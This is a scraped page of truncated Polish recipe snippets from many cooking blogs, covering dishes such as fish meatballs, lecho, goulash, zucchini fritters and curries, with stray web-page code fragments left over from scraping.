krewetek razem z czosnkiem. Przesmażamy. Podlewamy winem i dusimy aż alkohol odparuje. Całość doprawiamy solą. Na koniec do owoców morza dodajemy ugotowany makaron. Mieszamy aby makaron został pokryty powstałym sosem. Wykładamy na talerz i SMACZNEGO. Wartość kaloryczna 1 porcji: 396 kcal (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function

Smaki Ewy
Rybne klopsiki w ziołach 165

Unikam ostatnimi czasy smażonego jak ognia. Głównie ze względów zdrowotnych. Dlatego też szukam przeróżnych przepisów na gotowaną rybkę. Delikatne lekkie klopsiki z sosem pachnącym świeżym koperkiem. Jak to mawiają - grzech się nie skusić ;-) P.S. Może zna ktoś fajny sposób na wykorzystanie suszonych pomidorów? Takich bez oleju/zalewy, suchutkich Składniki -60 dag filetów rybnych (np. z mintaja) -cebula -marchewka -2 ziarna ziela

Zielona Kuchnia
Tarta szpinakowa na francuskim cieście 162

dusić ok. 5 minut. Dodać pieczarki, wymieszać, dusić jeszcze 5 minut, przyprawić do smaku. Pozostałe masło stopić w rondelku, dodać mąkę i mleko. Mieszając, zagotować. Dodać stary ser, wymieszać. Sos wymieszać ze szpinakiem i pieczarkami, przyprawić. Masą napełnić foremki z ciastem. Piec ok. 25 minut w temp. 200st. Udekorować salami. Smacznego

Zielona Kuchnia
Placuszki tuńczykowo-twarogowe 156

kilka przepisów bardzo mi się spodobało. Między innymi poniższe placuszki - świetne zarówno na ciepło, jak i na zimno. Będą gościć u mnie zdecydowanie częściej. Składniki -puszka tuńczyka sałatkowego w sosie własnym -200g chudego twarogu -2 jajka -2 łyżki otrąb owsianych -1 łyżka otrąb pszennych -łyżeczka proszku do pieczenia -szczypta soli -pieprz -kilka gałązek bazylii lub natki Przygotowanie Oddzielić żółtka

Zielona Kuchnia
Kotleciki ryżowo-marchewkowe 174

doprawić solą i pieprzem. Formować średniej wielkości kotleciki, obtaczać je w bułce tartej i smażyć na oleju na złoty kolor.  Bardzo fajnie smakują z jogurtowo-ziołowym sosem. Źródło: Impresja Smaku Smacznego

Zielona Kuchnia
Penne zapiekane z cukinią i pomidorami 169

masy szpinakowej wrzucić makaron, dobrze wymieszać. Przełożyć do naczynia żaroodpornego. Na makaron przełożyć podduszone wcześniej warzywa. Jajka rozbić widelcem, dodać 2 łyżki śmietany i wymieszać. Można doprawić. Powstałym 'sosem' polać zapiekankę. Na wierzch pokruszyć ser (ewentualnie poukładać pokrojony w plasterki). Piec ok 20 minut w temp. 185 st. Smacznego

Zielona Kuchnia
Leczo 201

dodatkiem słoniny. Często podawane jest jako dodatek do dania mięsnego. Osobiście wolę jego lżejszą wersję i traktuję jako danie jednogarnkowe. Bardzo dobrze smakuje również na ostro - z dodatkiem np. sosu piri-piri. Składniki - 3 czerwone papryki - 2 średnie cukinie - 2 marchewki - cebula - 200g kiełbasy - 3 łyżki koncentratu pomidorowego - 2 łyżki oleju - czubata łyżeczka słodkiej papryki - czubata łyżeczka ostrej papryki - sól

Zielona Kuchnia
Delikatny gulasz wieprzowy 187

pieprzem. Gotować ok. 10 minut. Mąkę zasmażyć na suchej patelni. Wymieszać z zimną wodą i dodać do gulaszu. Podusić jeszcze kilka minut od czasu do czasu mieszając aż sos zgęstnieje. Najlepiej podawać z kluskami, ziemniakami lub pieczywem. Smacznego

Zielona Kuchnia
Sałatka ryżowa z tuńczykiem 212

Najczęściej stawiam na sałatki pełne świeżych warzyw, z sosami na bazie oleju roślinnego. Czasami jednak przychodzi ochota na typową "majonezową sałatkę". Ta jest jedną z moich ulubionych. Smaczna i bardzo sycąca jest fajną opcją na zimowe dni. Składniki -2 torebki ryżu -puszka rozdrobionego tuńczyka w oleju roślinnym -puszka kukurydzy -puszka groszku -3/4 szklanki drobno pokrojonych ogórków konserwowych -2 łyżki

Zielona Kuchnia
Naleśniki z serem 222

naleśników z serem? Delikatnie podsmażone na patelni co dodaje im chrupkości i scala ser podbiją serce każdego ;-) Świetnie komponują się polane śmietaną z cukrem, dodatkiem owoców, bitej śmietany albo sosu czekoladowego.  Składniki -1 szkl. mąki pszennej -2 jajka -1,5 szkl. mleka -szczypta soli -0,5 szkl. oleju -2 kostki półtłustego twarogu -2 łyżki cukru pudru (1 można zastąpić

Zielona Kuchnia
Paprykarz wieprzowy 230

Kolejna odsłona duszonego mięsa w sosie. Bardzo soczyste i delikatne w smaku. Idealne do ziemniaków czy klusek śląskich.  Składniki -600 g wieprzowiny -3 łyżki oleju -3 ząbki czosnku -łyżka koncentratu pomidorowego -1,5 łyżki słodkiej papryki -pół łyżeczki ostrej papryki -po pół papryki czerwonej i zielonej (można użyć całej czerwonej) -100 ml słodkiej śmietany -sól i pieprz Przygotowanie Mięso

Zielona Kuchnia
Tosty jajeczne z boczkiem i papryką 258

Tosty powstały spontanicznie w ramach szybkiego pomysłu na sobotnie śniadanie. Z idealnie ciągnącym serem. Dobrze smakują polane keczupem lub innym ulubionym sosem.  Składniki (2 porcje): - 2 duże kromki pszennego chleba - 100 g boczku - pół papryki - 2 łyżki oleju rzepakowego - 2 jajka - 30 g startego żółtego sera - sól, pieprz Przygotowanie Olej rozgrzać na patelni. Wsypać drobno pokrojony w kostkę boczek

Zielona Kuchnia
Jajecznica z kurkami 175

termiczną kurki należy dokładnie oczyścić z piasku i umyć. Ważne, żeby grzyby myć szybko pod bieżącą zimną woda, żeby zbytnio nią nie nasiąknęły.  Z kurek możemy przyrządzić pyszny sos ze śmietaną i koperkiem, który może być dodatkiem do różnych mięs lub stanowić osobne danie. Możemy je zamarynować  w occie, w zimie będą idealne jako przekąska. Te małe grzybki

Kulinarne przygody Gatity
Potrawka z kukurydzy i pomidorów 269

przyprawy (sól na samym końcu gotowania) i cukier. Jeżeli używasz świeżych pomidorów to obierz je ze skórki i zblenduj (z wyjątkiem koktajlowych). Po minucie smażenia cebuli z przyprawami dodaj sos pomidorowy/zblendowane pomidory/pomidory z puszki oraz pokrojoną na 1 cm kawałki paprykę. Gotuj 10 minut. Pomidorki koktajlowe poprzekrawaj na pół, dodaj do potrawy wraz z odsączonym i wypłukanym groszkiem. Gotuj

greenscarf
Smażony Camembert 220

stron na złoty kolor. Po usmażeniu ser wykładamy na chwilę na ręcznik papierowy, by odsączyć nadmiar tłuszczu. Ser podajemy od razu po przygotowaniu, najlepiej z dodatkiem sosu żurawinowego

CookMag
Makaron z cytrynowo-czosnkowymi drobinkami 145

łyżkami oliw z oliwek oraz sokiem z połówki cytryny. Dodajemy płatki chili, czosnek oraz sól do smaku. Dolewamy nieco zachowanego [płyny z gotowania makaronu, tak aby powstała niewielką ilość sosu. Dosypujemy bułkę tarta oraz natkę pietruszki (zachowując nieco do posypania). Całość mieszamy. Na talerzu posypujemy reszta zachowanej bułki z natką

Pyry na Gaz
Domowe, suszone pomidory w oliwie 188

Powąchajcie ciepły tłuszcz. Powinien zacząć pachnieć intensywniej. Możemy zalać pomidory mieszanką 1:1 oleju z oliwą. Pamiętajcie, że nie wylewamy zalewy po zjedzeniu pomidorków. Użyjcie jej jako bazy do sosów do makaronu czy sałaty. Ja zwykle robię suszone pomidory z odmiany lima. Wychodzą smaczne a i wielkościowo idealnie wpasowują się w gabaryty słoików. Wydrążyć pomidory można na kilka sposobów. Wiadomo

Mieszam w Garnku
Sałatka serowo-pomidorowa, fasolka na zimę i nowa biblioteka osiedlowa 188

m.in. przepis na sałatkę serowo-pomidorową - zamiast parmezanu użyłam wykorzystałam ser cheddar (za którym nota bene przepadam i prawie zawsze mam go w lodówce). Przygotowałam także fasolkę szparagową w sosie pomidorowym w wersji "na zimę". W końcu, po dłuuuugich miesiącach oczekiwania, otworzyli po remoncie moją osiedlową bibliotekę. Pierwsze wypożyczone książki w "nowej" bibliotece już przeczytałam. Odciągnęło to mnie od książek

blog.moje-pasje.info
Zapiekane tartinki wg Aleex 221

Zapiekać na papierze do pieczenia przez ok. 8-10 minut, aż ser się rozpuści i zapiecze. 7. Tartinki wyłożyć na talerz, podawać gorące z ulubionymi dipami. Ja podałam z sosem paprykowym Smacznego

W mojej kuchni
Polędwiczki z kurkami w sosie śmietanowym z winem 168

wino częściowo odparuje. Następnie dodaj czubatą łyżkę masła, po minucie – śmietanę. Wymieszaj dokładnie i gotuj 2 – 3 minuty. W razie potrzeby – ponownie dopraw. Kaszę / ziemniaki / makaron oraz polędwiczki z sosem wyłóż na talerze. Posyp świeżym tymiankiem i świeżo zmielonym czerwonym pieprzem. Smacznego

Moja pasja smaku
Bavette z boczniakiem i pasternakiem 209

Bavette to makaron spaghetti 🍝, tyle, że spłaszczony, delikatnie wgłębiony.  Z sosami przeważnie się go podaje, ale do innych dań 🍴 równie się nadaje. Grzyby 🍄 teraz swoje wzięcie mają, bo w lesie jeden, za drugim wyrastają.  Ja 👱 na boczniaki 🍄 się zdecydowałam, chociaż w lesie ich nie zebrałam 😋, bo one, późną jesienią 🍁 wyrastają, gdzie na pniach drzew liściastych

Moniki Smakołyki
Zupa Tajska z Kurczakiem 156

upalnych dni:) SKŁADNIKI: 400g fileta z kurczaka1,4l wody 1 cebula 1 duża marchew 1/4 papryki czerwonej szczypta chilli 3 ząbki czosnku łyżka oleju 400ml mleczka kokosowego 2 łyżki sosu sojowego 2 łyżki posiekanej trawy cytrynowej 3-4 łyżki soku z cytryny curry imbir kolendra sól pieprz WYKONANIE: 1. Kurczaka pokroić w kostkę, oprószyć solą i pieprzem, dodać soje

Dziś Ja gotuje
Zapiekanka ze szpinakiem, trzema serami i mięsem mielonym 201

Kochamy zapiekanki:). W dzisiejszej znajdziemy makaron, szpinak, sery i śmietanowy sos. Takiego połączenia smaków nie trzeba specjalnie zachwalać - trzeba spróbować:). 300g makaronu 500g mrożonego szpinaku 2 cebule 500g mięsa mielonego 100g sera camembert 100g sera cheddar 100g sera gouda 200ml śmietany 12%  3 ząbki czosnku sól, pieprz, gałka muszkatołowa 1. Makaron gotujemy zgodnie z przepisem na opakowaniu. Cebulę

Szefowa kuchni
Sałatka jajeczna z ogórkiem zielonym i czosnkowym jogurtem 250

Wystarczy chrupiąca, zielona sałata lodowa, czerwona cebula, ogórek zielony i inne dodatki.  Dzisiejszy przepis śniadaniowy to zestawienie wiosennych kolorów z jajkiem ugotowanym na twardo i prostym, ale przepysznym sosem czosnkowym fit, bo na bazie jogurtu naturalnego. Sałatka jest przepyszna i znika w mgnieniu oka! Lubię wymyślać nowe przepisy spontanicznie, bo nigdy nie wiem do końca, jaki będzie efekt

Moja smaczna kuchnia
Makaron domowy. Stary, sprawdzony przepis 529

szerokości około 5 cm, a następnie kroiłam na cieniutkie „nitki”. Taki makaron jest doskonały do rosołu Można kroić w szersze paseczki tworząc „wstążki” jeśli będziemy podawać go np. do sosów Pokrojony makaron roztrzepałam palcami, żeby oddzielić poszczególne paseczki, wstążki i zostawiłam na do dalszego wyschnięcia. Gotowy, wysuszony makaron przekładam do dużych słoików i zamykam. Można przechować go  również

Kuchnia u Krysi
Leśne grzyby we własnym sosie 211

mamy sezon grzybowy. Można wykorzystać dary lasu i przygotować pyszne dania. Na pierwszy rzut idą grzyby w sosie własnym. Coś smacznego! Potrzebujemy: Czytaj więcej

Tylko pysznie
KLASYCZNE KNEDLE CZESKIE (KNEDLIKI) 410

bagietki). W dużym garnku zagotuj osoloną wodę, gotuj knedle ok. 10 minut. Najlepiej pojedynczo, rosną w trkacie gotowania, trzeba uważać, żeby się nie posklejały. Podawaj z od razu z sosem, lub odsmażone na maśle. Gorące kndele najwygodniej kroi się za pomocą zwykłej nitki. Należy poprowadzić ją pod spodem knedla i zaciągnąc nad nim. źródło Kuchnia Agaty

Anioły w kuchni
makaronowe kotlety z chili i shoarmą... 277

jednolitą masę formować zwolżoną dłonią nie duże kotlety i kłaść na mocno gorący olej rzepakowy smażyć z każdej strony na złocisto, odkładać na ręcznik papierowy - kotleciki smakują z różnymi sosami, bez niczego i na ciepło i na zimno............SMACZNEGO

W Mojej Kuchni Lubię
Gulasz z soczewicy i mielonego mięsa 252

ugotowaniu zmienia faktycznie kolor na zielony. Susz warzywny to nic innego jak ususzone liście pietruszki, pora i selera. Gulasz z soczewicy zazwyczaj podaję z ryżem i płaskimi chlebkami. Sos jest gęsty i bardzo łatwo nabiera się chlebem. Lubicie jeść rękoma, oblizywać palce i w ogóle nie martwić się o zasady dobrego wychowania(?). Ja uwielbiam, a etykietę przy stole mam gdzieś

codojedzenia
Placki z cukinii i żółtego sera 199

żółty ser to jak dla mnie duet idealny! A dodatkowo masło do smażenia...  Uwielbiam!   Zapewniam, że placki znikną ekspresowo na ciepło, jak i po ostygnięciu, z sosem lub bez.  Polecam!  Inne propozycje na placki z cukinii znajdziecie tu - klik i tu - klik .    (około 21 sztuk) 600-650g cukinii (1 średnia) 2 jajka

Di gotuje
Udka z chrupiącą skórką 228

Wspaniałe. Należy zrobić ich więcej bo znikają w mgnieniu oka Można podać je do ziemniaczków, frytek, lub jako przekąska maczana w sosie czosnkowym – świetne na imprezę ze znajomymi. Składniki: 2 kg udek 2 łyżki mąki ziemniaczanej 1 łyżeczka proszku do pieczenia 1 łyżeczka granulowanego czosnku lub 2 ząbki rozmiażdżonego czosnku przyprawa do kurczaka – ja użyłam kurczak złocisty (około

MojaQchnia.pl
Sos z maślaków z penne 178

Uwielbiam grzyby. Dostałam dziś maślaki. Babcia moja mówiła, że to najlepsze grzyby. I są! czas przygotowania: 20 minut Dziś zrobiłam z nich sos z penne. maślaki 2 łyżki masła bez laktozy sól i pieprz do smaku biała spora cebula parmezan pietruszka penne ( u mnie kukurydziane) Cebulę zeszklij na maśle dodaj pocięte w paski grzyby, dodaj sól i pieprz. Duś

AZgotuj!
CUKINIOWE FRYTKI Z PIEKARNIKA 365

jest niskokaloryczna i lekkostrawna. Działa alkalizująco przez co zapobiega zakwaszaniu organizmu. Do tego nie kosztuje wiele i można ją wykorzystywać na milion sposobów! Do takich frytek z cukinii polecam sos czosnkowy na bazie jogurtu. SK ŁADNIKI : cukinia – 1 sztuka jajka – 2 sztuki bułka tarta – 100 g ser parmezan – 50 g papryka ostra – pół łyżeczki oliwa z oliwek sól i pieprz

kuchniabellissima.wordpress.com
Koncentrat (sos) pomidorowy na zimę 199

otrzymałam 5 słoików a`350 ml. Taki zagęszczony przecier nie tylko zajmuje mniej miejsca w spiżarni, czy piwnicy, ale jest zwyczajnie smaczniejszy i bardziej aromatyczny. To podstawa zimowej pomidorówki, sosów, dodatek do mięs, ryb i makaronów. Dla pewności, by moja praca nie poszła na marne słoiki pasteryzuję. Niektórzy pomijają ten etap. Ale kolejne traktowanie wysoką temperaturą to dodatkowa dawka likopenu

Gotuj zdrowo!Guten Appetit!
Leczo z parówką 158

pomidorów. Zagotowujemy całość i zmniejszamy ogień. Gotujemy na wolnym ogniu przez ok. 10-15 minut.     Swoje leczo podaję z chlebkiem lub świeżymi kajzerkami, które lubię maczać w sosie - mniam! :) Życzę smacznego

Cooking Monster
Kuchnia azjatycka w restauracji – łatwiej niż myślisz 175

można zaserwować w restauracjach o różnych profilach jest curry. Jego bazą są dwa składniki – pasta curry, czyli mieszanina przypraw nadająca wyjątkowy smak, a także mleczko kokosowe, które jest bazą sosu. Reszta jest sprawą dowolną i zależy tylko od fantazji szefa kuchni. Serwując curry oferuje się klientom danie o orientalnym charakterze, ale jednocześnie – dodając powszechnie używane w Polsce składniki – potrawa

FoodMagazine.pl - Przepisy kulinarne
Zapiekanka naleśnikowa z nektarynkami i wanilią 240

Naleśniki nadziewane kremowym serkiem i nektarynkami, zapieczone w delikatnym sosie waniliowym. Danie dla prawdziwych miłośników naleśników :) Idealne na leniwe, weekendowe śniadanie lub podwieczorek. naleśniki: pół szklanki mąki pół szklanki mleka jajko łyżka oleju rzepakowego masa do zapiekania: 1/4 szklanki mleka jajko łyżka cukru trzcinowego z prawdziwą wanilią dodatkowo: 4 lyżki kremowego twarożku 2 nektarynki pól łyżeczki masła do natłuszczenia formy

Mienta blog
Zupa ze świeżymi grzybami leśnymi 218

osobno. Makaron można gotować bezpośrednio w zupie, z zaznaczaniem że zjemy ją "za jednym podejściem" (makaron dłużej przebywający w cieczy pęcznieje i następnego dnia przy odgrzewaniu zastaniemy makaron z sosem zamiast zupy).  Do garnka wlewam bulion, wrzucam obgotowane grzyby świeże i dodaję garstkę suszonych. Jeśli mam marchewkę z bulionu, to również ją dodaję. Doprowadzam do wrzenia i gotuję

Karczma Honorietty
Karczek z grilla peklowany w cydrze 194

działała i grill. Piec na małym ogniu, cydr się karmelizuje, przez około 5 minut z każdej strony. Podawać z sałatką. U mnie z ogórków pomidorów i sałaty właśnie z sosem słodko-kwaśnym... Smacznego. Oczywiście z braku możliwości można taki karczek przygotować w domu, np. w piekarniku z opcją grill czy też na grillu elektrycznym

Gosia gotuje
ZUPA MEKSYKAŃSKA Z MIĘSEM MIELONYM 188

ciepłej, treściwej zupy. Gdzieś, kiedyś w internecie przeleciała mi przed oczami zupa z mięsem mielonym. Już dokładnie nie pamiętam jaka ona była, więc postanowiłam zrobić swoją - tak jak robię sos meksykański tylko dodać więcej wody, no i z moim ulubionym mięsem drobiowym. Aby była gęstsza postanowiłam zabielić ją odrobiną śmietany z mąką. Wyszła wspaniała...lekko ostra dzięki papryczce chili oraz

Kuchnia MagdaLeny
Filety z cukinii w chrupiącej panierce 185

wszystkich stron. Usmażone filety układamy na talerzu wyłożonym ręcznikiem papierowym, że wchłonął nadmiar oleju. Podajemy z ziemniakami i sałatką np. z ogórka, pomidora i sałaty zielonej w pomarańczowym sosie . Smacznego! Artykuł Filety z cukinii w chrupiącej panierce pochodzi z serwisu Lamarida.pl

Lamarida.pl
Spaghetti z kurkami i porem 148

puściły aromat, wrzucamy pora, szklimy. Oprószamy solą i pieprzem. Wrzucamy kurki, dusimy do ich miękkości, powoli dodajemy obie śmietany (tak by się nie ścięły). Doprawiamy do smaku. Do sosu wrzucamy makaron, dokładnie (delikatnie) łączymy, podajemy ze startym parmezanem. /* Style Definitions */ table.MsoNormalTable {mso-style-name:Standardowy; mso-tstyle-rowband-size:0; mso-tstyle-colband-size:0; mso-style-noshow

R'n'G Kitchen
Placuszki cukiniowo-jaglane 190

rozgrzewamy olej kokosowy lub masło klarowane i za pomocą łyżki nakładamy masę na patelnie formując małe placuszki. Smażymy je na złoty kolor z obu stron. Do placuszków można podać sos pomidorowy lub pomidorową salsę

Przysmaki Karolki
Ravioli Spinaci od Hilcona 183

plastry cukinię – chwilę smażę by cukinia stała się lekko miękka, dodaję pomidorki przekrojone na pół i posiekaną bazylię. Chwilę smażę, solę. Ravioli wykładam na talerz, polewam maślanym aromatycznym sosem i dodaję warzywka. REWELACJA ! Hilcona rządzi ; Artykuł Ravioli Spinaci od Hilcona pochodzi z serwisu Moja Qchnia Pełna Smaku

MojaQchnia.pl
Sałatka z kaszy gryczanej z ogórkiem i papryką 164

pozostaje na długo. Kasza gryczana należy do najzdrowszych i jest na pierwszym miejscu, na liście moich ulubionych kasz. Zapomnijcie o wykorzystaniu tego składnika do ciężkich obiadów z mięsem i sosem, od dzisiaj zmiencie wykorzystanie kaszy gryczanej i róbcie pyszne sałatki! Na zdrowie! Dlo pełni szczęścia brakuje jeszcze posiekanej natki z pietruszki, która uwielbiam! Sałatka z kaszy gryczanej z ogórkiem

Moja smaczna kuchnia
Aromatyczne, śliwkowe żaglówki 191

Piec 16 minut. Suche liście szałwii obsmażyć z obu stron po kilka sekund na mocno rozgrzanym oleju. Wyjąć na ręcznik papierowy dla odsączenia z nadmiaru tłuszczu. Śliwki podawać na sosie, który wyciekł z dojrzałej śliwki i z chipsami szałwiowymi

Weekendy w domu i ogrodzie
Kąski z indyka w panierze z ciecierzycy 192

Kładłam po kilka sztuk panierowanego indyka i smażyłam z obu stron na złoty kolor. U mnie kąski podane były z pieczonymi ziemniaczkami, pomidorkami i sałatką. Można podać z ulubionym sosem :-) Smacznego

kruche babeczki
Sałatka z tuńczykiem i kaparami 257

eksperymenty też robię. Tak oto powstała sałatka z tuńczyka z dodatkiem kaparów. Kaparami zastąpiłam ogórki konserwowe i powiem wam, że wyszło coś pysznego. Składniki: 1 puszka tuńczyka w sosie własnym lub w oleju 3 jajka ugotowane na twardo 4 łyżki kukurydzy z puszki 3 łyżki kaparów 1-2 łyżki majonezu  sól  pieprz Przygotowanie: Jajka pokroić w kostkę. Kukurydzę

Ala piecze i gotuje
Zapiekanka ryżowa z kiełbasą i warzywami 298

dodajemy 2 łyżki mąki i energicznie mieszając, smażymy tak razem przez około 2 minuty. Następnie wlewamy półtorej szklanki mleka i gotujemy aż do zgęstnienia. Mieszamy co jakiś czas, by sos się nie przypalił. Zdejmujemy z palnika i doprawiamy gałką muszkatołową oraz solidną porcją soli i pieprzu. Gdy lekko przestygnie dodajemy 1 żółtko oraz garść drobno startego sera. Beszamel wylewamy

Smaki Na Talerzu
Kociołek z kurczakiem, pomidorami i papryką 379

wodą. Dusimy na wolnym ogniu. Na końcu dodajemy pokrojone w kostkę pomidory oraz koncentrat pomidorowy. Doprawiamy cukrem i solą. Danie dusimy przez około 40 minut. Kociołek jest gotowy gdy sos delikatnie się zagęści

VioletoweKucharzenie
BROWNIE Z PIECZONYMI ŚLIWKAMI 212

dopiero wówczas pokroić na porcje. Inaczej można odnieść wrażenie, że ciasto jest niedopieczone. Pamiętajcie, że w większej blaszce ciasto powinno piec się krócej. Najlepsze jeszcze lekko ciepłe, polane sosem z pieczonych śliwek i podane z porcją domowej bitej śmietany. SKŁADNIKI  200 g masła 200 g gorzkiej czekolady 3 jajka 250 g drobnego cukru (można dać mniej) 150 g mąki

cool and minty
PIERŚ Z KURCZAKA W CHRUPIĄCEJ TEMPURZE 453

moczyć w tempurze i od razu smażyć na głębokim, rozgrzanym oleju.  Po upieczeniu układać na ręcznik papierowy. Można podawać z ziemniakami, ryżem czy jako samodzielna przekąska z ulubionym sosem

Zrób to smacznie
Chlebek bananowy z masłem orzechowym 183

tych rotacji chlebek jest o wiele zdrowsze od tradycyjnych wypików. A każdego kto lubi wilgotne, bananowe wypieki i nie liczy kalorii zapraszam również po przepis na BANANOWE MUFFINKI Z SOSEM KARMELOWYM Składniki (forma 12 cm x 31 cm): Chlebek: Ważne: składniki powinny mieć temperaturę pokojową. 3 bardzo dojrzałe banany + 1 na górę ciasta 1,5 szklanki mąki, może być pełnoziarnista

Fitsweet.me
Domowe masło orzechowe 184

kanapce z bananem, w naleśnikach, z lodami, a także jako dodatek do wytrawnego dania – niedawno przygotowałem makaron soba z brokułem – bazą sosu było małso orzechowe – potrawa smakowała wspaniale! Kliknij tutaj , by zobaczyć przepis. Domowe masło orzechowe Składniki 400 g orzechów arachidowych (ziemnych), niesolonych sól (nieobowiązkowo) Wykonanie Przygotuj orzechy: wrzuć

Vegan Taste
Pizza wiejska 179

zresztą nie pierwszy raz. Składniki na ciasto 150 g mąki z pszenicy durum lub każdej innej 7 g świeżych drożdży łyżeczka cukru około 100 ml wody oliwa z oliwek Sos i dodatki najlepsze byłyby pomidory San Marzano lub Perina, u mnie znalazły się pomidory z puszki ser caciocavallo lub dla wersji delikatniejszej – ricotta- lub każdy inny jaki lubicie pieprz czarny

Z Kuchni Do Kuchni
KURCZAK FASZEROWANY GRZYBAMI LEŚNYMI 251

łyżka oleju 2 łyżki papryki czerwonej ostrej i słodkiej 2 łyżki czosnku granulowanego 2 łyżki majeranku i bazylii Sól i pieprz do smaku 1 łyżeczka wegety 2 łyżki sosu sojowego ciemnego PRZYGOTOWANIE:  Dowolne grzyby leśne myję i obieram. Drobno siekam. Do garnka dodaję 2 łyżki masła a następnie czosnek przeciśnięty przez praskę oraz cebulę pokrojoną w kosteczkę.  Mieszkam

Gotowanie Patki
ZAPIEKANKA Z MAKARONEM I CUKINIĄ 216

tego samego garnka wkładam kurczaka, dodaję przyprawy sól, pieprz, paprykę chilli oraz czosnek, bazylię. Zmniejszam ogień i dodaję pomidory z puszki oraz makaron. Duszę ok 10 min tak by sos się trochę zredukował. Całość przekładam na makaron z cukinii. Z sera żółtego w plastrach formuję rurki i kroję na 3 części. Układam na zapiekance. Można oczywiście posypać tartym serem żółtym

Gotowanie Patki
Curry z kurczakiem i kalafiorem 421

lekko się przesmaży dodajemy kalafiora. Dodajemy przyprawy, mieszamy. Po około 1-2 minutach smażenia, zalewamy całość wodą i mleczkiem kokosowym i gotujemy pod przykryciem (do pożądanej miękkości kalafiora). Gdyby sos był za rzadki, redukujemy go do pożądanej konsystencji. Jeśli jest taka potrzeba, doprawiamy całość solą. Podajemy z ryżem

Smaki Na Talerzu
DOMOWA WĘDLINA - SCHAB PIECZONY, peklowany na sucho 221

możemy kroić - soki w mięsie dokładnie się rozejdą i zwiążą. Jeżeli schab chcemy podać do obiadu, to wystarczy kilkanaście minut leżakowania w wyłączonym piekarniku, następnie podajemy go z ulubionym sosem i np. buraczkami z chrzanem (jak lubicie). Peklowanie na sucho, to nic innego jak nacieranie mięsa  odpowiednią mieszanką przypraw i soli, układa się go w szklanym lub kamionkowym

Moja Książka Kucharska
Kurczak pieczony z porem w pomidorach 318

umyć, ja dodatkowo przecinam na dwie części i po osuszeniu porządnie natrzeć przyprawami. Mięso przełożyć do naczynia żaroodpornego. Pora pokroić w plasterki i równomiernie umieścić na kurczaku. Pomidory z sosem wymieszać z drobno posiekanym czosnkiem i doprawić solą z pieprzem. Całość przelać na kurczaka i przykryć. Piec w rozgrzanym piekarniku do miękkości - w 180 stopniach. Pod koniec pieczenia mięso można

Di gotuje
Surówka z piklami i sosem musztardowym 168

Surówka z białej kapusty z piklami i sosem musztardowym Składniki: ok. 1/4 główki białej kapusty Pół słoiczka 300 ml pikli / w zamian mogą być kiszone ogorki pęczek koperku 2 łyżeczki musztardy sarepskiej ewentualnie sól, pieprz  Wykonanie: Kapustę szatkujemy, pikle ,a jeżeli ich nie mamy możemy je zastąpić ogórkami kiszonymi -kroimy na mniejsze kawałki, koper siekamy, dodajemy musztardę i wszystko

W Moim Magicznym Domu
Ogórki kanapkowe 360

jakoś przerobić. Tegoroczna pogoda była bardzo sprzyjająca ich zbiorom. Znów zrobiłam całą masę ogórkói) na zimę w różnej postaci. Oprócz klasycznych ogórków kiszonych , zrobiłam ponownie hit ogórkowy: ogórki w sosie pomidorowym , oraz ogórki małosolne w plastrach, pikle z papryką, korniszony , sałatkę szwedzką i ogórki w zalewie musztardowej . W tym roku postanowiłam ponownie zrobić ogórki kanapkowe z kurkumą. Robię

Damsko-męskie spojrzenie na kuchnię
Knedle bułczane. Kluski z bułki 387

kluski pozwalają dobrze spożytkować czerstwe pieczywo i mogą być ciekawą pozycją w naszym domowym menu. Knedle z bułki doskonale nadają się jako dodatek do gulaszu czy innych dań z sosem. Spróbujcie, a nie pożałujecie. ROZWIŃ I CZYTAJ DALEJ

Smaczna Pyza
Kopytka a/la gnocchi z pulpecikami w sosie porowo-paprykowym 202

pokroić i wszystkie składniki ze sobą połączyć , aby powstała jednolita masa. Doprawić do smaku pieprzem i solą. Formować małe kuleczki , obtoczyć w bułce tartej i smażyć na rozgrzanym oleju. Sos porowo-paprykowy 1 l wody 2 ząbki czosnku 2 serki topione kremowe łyżeczka ostrej papryki 1 por - część biała łyżka oleju Pora pokroić w pół plastry. Czosnek drobno posiekać

Różne smaki w kuchni
Czosnek – jak go jeść na zdrowie? Przepis na sos czosnkowy. 150

żołnierze, robotnicy, rolnicy i galernicy. Nawet jeżeli stroniło od niego jaśnie państwo i chorowało…. Bo przez wieki The post Czosnek – jak go jeść na zdrowie? Przepis na sos czosnkowy. appeared first on MODA

MODA NA BIO
BABECZKI Z TUŃCZYKIEM I SEREM 237

ciepło jak i na zimno. Polecam podać z dodatkiem sałaty i pomidora😇 Śniadaniową propozycję babeczek białkowo-tłuszczowych znajdziecie  tutaj  👈 Składniki na 12 babeczek: -puszka tuńczyka w sosie własnym  -120 g mąki gryczanej  -1 jajo -1 cebulka -40 g sera żółtego  -pół łyżeczki proszku do pieczenia -ok pół szklanki wody -1 łyżka oleju/masła do wysmarowania

Zdrowie i pysznie na talerzu
Marillenknödel - austriackie knedle z morelami 208

obiad, a w Austrii także i na deser. W austriackich restauracjach knedle z morelami widnieją w karcie pośród deserów właśnie. Niegdyś w autriackiej kawiarni zamawiałam kluski na parze z sosem waniliowym. Co kraj to obyczaj. Do knedli dołożyłam w miejsce pestki zamiast kostki cukru po kawałeczku słodkiego marcepanu. Danie podałam z dodatkową porcją moreli, morelami karmelizowanymi wraz z pysznym sosikiem

Gotuj zdrowo!Guten Appetit!
smaczne kopytka... 211

rzepakowym podsmażyć na złocisto, dodać ciut cukru i doprawić kucharkiem, pieprzem mielonym, łyżką majeranku podawać kopytka z cebulą - są smaczne na obiad i sycące, można podawać same kopytka do sosu czy gulaszu..........SMACZNEGO

W Mojej Kuchni Lubię
prawdziwki w śmietanie z makaronem na smaczny obiad... 200

MyVictorinox prawdziwki oczyścić, szybko opłukać, pokroić na kawałki, zalać wodą i gotować z 25 minut, wylać na durszlak, wystudzoną wodę wlewam w pojemniczki i zamrażam na zimę do bigosu, sosu, zupy cebulę pokroić drobno i na maśle podsmażyć na złoto, wsypać grzyby z durszlaka, kostkę rosołwą, można dać z 3/4 szklanki wody i dusić na średnim ogniu z 15 minut

W Mojej Kuchni Lubię
Serowo-francuskie paluchy z szynką 204

Ważne jest aby użyć do nich wyrazistego w smaku sera żółtego np. parmezanu cz cheddara, nie próbujcie z goudą bo wyjdą zupełnie bez smaku, polecam podawać ciepłe z domowym sosem czosnkowym, na spotkanie z przyjaciółmi rewelacja! Składniki: 2 rulony świeżego ciasta francuskiego 20 dag ostrego sera żółtego np. cheddar 10 dag szynki parmeńskiej Ostra papryka do posypania 1 jajko

Wanilia i Kardamon
Ketchup z cukinii bez cukru :) 210

